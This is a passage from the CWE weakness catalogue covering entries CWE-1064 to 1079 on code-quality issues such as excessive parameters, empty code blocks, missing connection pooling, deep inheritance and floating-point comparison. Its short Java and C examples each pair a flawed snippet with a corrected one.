OMG ASCPEM	ASCPEM-PRF-1		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters

Weakness ID : 1064
Structure : Simple
Abstraction : Base

Description

The product contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments.

Extended Description

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parameters." may vary for each product or developer, CISQ recommends a default maximum of 7 parameters/arguments.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1120	Excessive Code Complexity	1960

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-13		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers

Weakness ID : 1065
Structure : Simple
Abstraction : Base

Description

The product uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.

Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-5		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1066: Missing Serialization Control Element

Weakness ID : 1066
Structure : Simple
Abstraction : Base

Description

The product contains a serializable data element that does not have an associated serialization method.

Extended Description

This issue can prevent the product from running reliably, e.g. by triggering an exception. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-2		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1067: Excessive Execution of Sequential Searches of Data Resource

Weakness ID : 1067
Structure : Simple
Abstraction : Base

Description

The product contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.

Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1176	Inefficient CPU Computation	1971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-5		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1068: Inconsistency Between Implementation and Documented Design

Weakness ID : 1068
Structure : Simple
Abstraction : Base

Description

The implementation of the product is not consistent with the design as described within the relevant documentation.

Extended Description

This issue makes it more difficult to maintain the product due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1225	Documentation Issues	2480

Weakness Ordinalities

Indirect :

Applicable Platforms

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2505
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURI >.2023-04-07.

CWE-1069: Empty Exception Block

Weakness ID : 1069
Structure : Simple
Abstraction : Variant

Description

An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.

Extended Description

When an exception handling block (such as a Catch and Finally block) is used, but that block is empty, this can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1071	Empty Code Block	1910

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

Potential Mitigations

Phase: Implementation

For every exception block add code that handles the specific exception in the way intended by the application.

Demonstrative Examples

Example 1:

In the following Java example, the code catches an ArithmeticException.

Example Language: Java *(Bad)*

```
public class Main {
  public static void main(String[] args) {
    int a = 1;
    int b = 0;
    int c = 0;
    try {
      c = a / b;
    } catch(ArithmeticException ae) {
    }
  }
}
```

Since the exception block is empty, no action is taken.

In the code below the exception has been logged and the bad execution has been handled in the desired way allowing the program to continue in an expected way.

Example Language: Java *(Good)*

```
public class Main {
  public static void main(String[] args) {
    int a = 1;
    int b = 0;
    int c = 0;
    try {
      c = a / b;
    } catch(ArithmeticException ae) {
      log.error("Divided by zero detected, setting to -1.");
      c = -1;
    }
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-1		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1070: Serializable Data Element Containing non-Serializable Item Elements

Weakness ID : 1070
Structure : Simple
Abstraction : Base

Description

The product contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable.

Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1076	Insufficient Adherence to Expected Conventions	1916

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-3		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1071: Empty Code Block

Weakness ID : 1071
Structure : Simple
Abstraction : Base

Description

The source code contains a block that does not contain any code, i.e., the block is empty.

Extended Description

Empty code blocks can occur in the bodies of conditionals, function or method definitions, exception handlers, etc. While an empty code block might be intentional, it might also indicate incomplete implementation, accidental code deletion, unexpected macro expansion, etc. For some programming languages and constructs, an empty block might be allowed by the syntax, but the lack of any behavior within the block might violate a convention or API in such a way that it is an error.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	1164	Irrelevant Code	1967
ParentOf	Ⓥ	585	Empty Synchronized Block	1318
ParentOf	Ⓥ	1069	Empty Exception Block	1907

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

Demonstrative Examples

Example 1:

In the following Java example, the code catches an ArithmeticException.

Example Language: Java *(Bad)*

```
public class Main {
  public static void main(String[] args) {
    int a = 1;
    int b = 0;
    int c = 0;
    try {
      c = a / b;
    } catch(ArithmeticException ae) {
    }
  }
}
```

Since the exception block is empty, no action is taken.

In the code below the exception has been logged and the bad execution has been handled in the desired way allowing the program to continue in an expected way.

Example Language: Java *(Good)*

```
public class Main {
  public static void main(String[] args) {
    int a = 1;
    int b = 0;
    int c = 0;
    try {
      c = a / b;
    } catch(ArithmeticException ae) {
      log.error("Divided by zero detected, setting to -1.");
      c = -1;
    }
  }
}
```

Example 2:

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Example Language: Java *(Bad)*

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Example Language: *(Good)*

```
public void setID(int ID){
  synchronized(this){
    this.ID = ID;
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

CWE-1072: Data Resource Access without Use of Connection Pooling

Weakness ID : 1072
Structure : Simple
Abstraction : Base

Description

The product accesses a data resource through a database without using a connection pooling capability.

Extended Description

This issue can make the product perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	986

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-13		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

[REF-974]Wikipedia. "Connection pool". < https://en.wikipedia.org/wiki/Connection_pool >.

CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses

Weakness ID : 1073
Structure : Simple
Abstraction : Base

Description

The product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.

Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large number of data accesses/queries" may vary for each product or developer, CISQ recommends a default maximum of 2 data accesses per function/method.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	405	Asymmetric Resource Consumption (Amplification)	986

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🅲	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-10		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1074: Class with Excessively Deep Inheritance

Weakness ID : 1074
Structure : Simple
Abstraction : Base

Description

A class has an inheritance level that is too high, i.e., it has a large number of parent classes.

Extended Description

This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1093	Excessively Complex Data Representation	1933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-17		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1075: Unconditional Control Flow Transfer outside of Switch Block

Weakness ID : 1075
Structure : Simple
Abstraction : Base

Description

The product performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1120	Excessive Code Complexity	1960

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-1		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1076: Insufficient Adherence to Expected Conventions

Weakness ID : 1076
Structure : Simple
Abstraction : Class

Description

The product's architecture, source code, design, documentation, or other artifact does not follow required conventions.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549
ParentOf	B	586	Explicit Call to Finalize()	1320
ParentOf	V	594	J2EE Framework: Saving Unserializable Objects to Disk	1332
ParentOf	B	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor	1880
ParentOf	B	1070	Serializable Data Element Containing non-Serializable Item Elements	1909
ParentOf	C	1078	Inappropriate Source Code Style or Formatting	1918
ParentOf	B	1079	Parent Class without Virtual Destructor Method	1919
ParentOf	B	1082	Class Instance Self Destruction Control Element	1921
ParentOf	B	1087	Class with Virtual Method without a Virtual Destructor	1927
ParentOf	B	1091	Use of Object without Invoking Destructor Method	1931

Nature	Type	ID	Name	Page
ParentOf	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	1937
ParentOf	B	1098	Data Element containing Pointer Item without Proper Copy Control Element	1938
ParentOf	B	1108	Excessive Reliance on Global Variables	1948

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

CWE-1077: Floating Point Comparison with Incorrect Operator

Weakness ID : 1077
Structure : Simple
Abstraction : Variant

Description

The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.

Extended Description

Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results.

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1530

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-9		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-975]Bruce Dawson. "Comparing Floating Point Numbers, 2012 Edition". 2012 February 5. < https://randomascii.wordpress.com/2012/02/25/comparing-floating-point-numbers-2012-edition/ >.

CWE-1078: Inappropriate Source Code Style or Formatting

Weakness ID : 1078
Structure : Simple
Abstraction : Class

Description

The source code does not follow desired style or formatting for indentation, white space, comments, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1916
ParentOf	V	546	Suspicious Comment	1258
ParentOf	B	547	Use of Hard-coded, Security-relevant Constants	1259
ParentOf	B	1085	Invokable Control Element with Excessive Volume of Commented-out Code	1925
ParentOf	B	1099	Inconsistent Naming Conventions for Identifiers	1939
ParentOf	B	1106	Insufficient Use of Symbolic Constants	1946
ParentOf	B	1107	Insufficient Isolation of Symbolic Constant Definitions	1947
ParentOf	B	1109	Use of Same Variable for Multiple Purposes	1949
ParentOf	B	1113	Inappropriate Comment Style	1953

Nature	Type	ID	Name	Page
ParentOf	B	1114	Inappropriate Whitespace Style	1953
ParentOf	B	1115	Source Code Element without Standard Prologue	1954
ParentOf	B	1116	Inaccurate Comments	1955
ParentOf	B	1117	Callable with Insufficient Behavioral Summary	1957

Weakness Ordinalities

Indirect :

Demonstrative Examples

Example 1:

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

Example Language: C *(Bad)*

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

Example Language: C *(Good)*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

CWE-1079: Parent Class without Virtual Destructor Method

Weakness ID : 1079
Structure : Simple
Abstraction : Base

Description

A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.

Extended Description

This issue can prevent the product from running reliably due to undefined or unexpected behaviors. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1076	Insufficient Adherence to Expected Conventions	1916

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-16		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1080: Source Code File with Excessive Number of Lines of Code

Weakness ID : 1080
Structure : Simple
Abstraction : Base

Description

A source code file has too many lines of code.

Extended Description

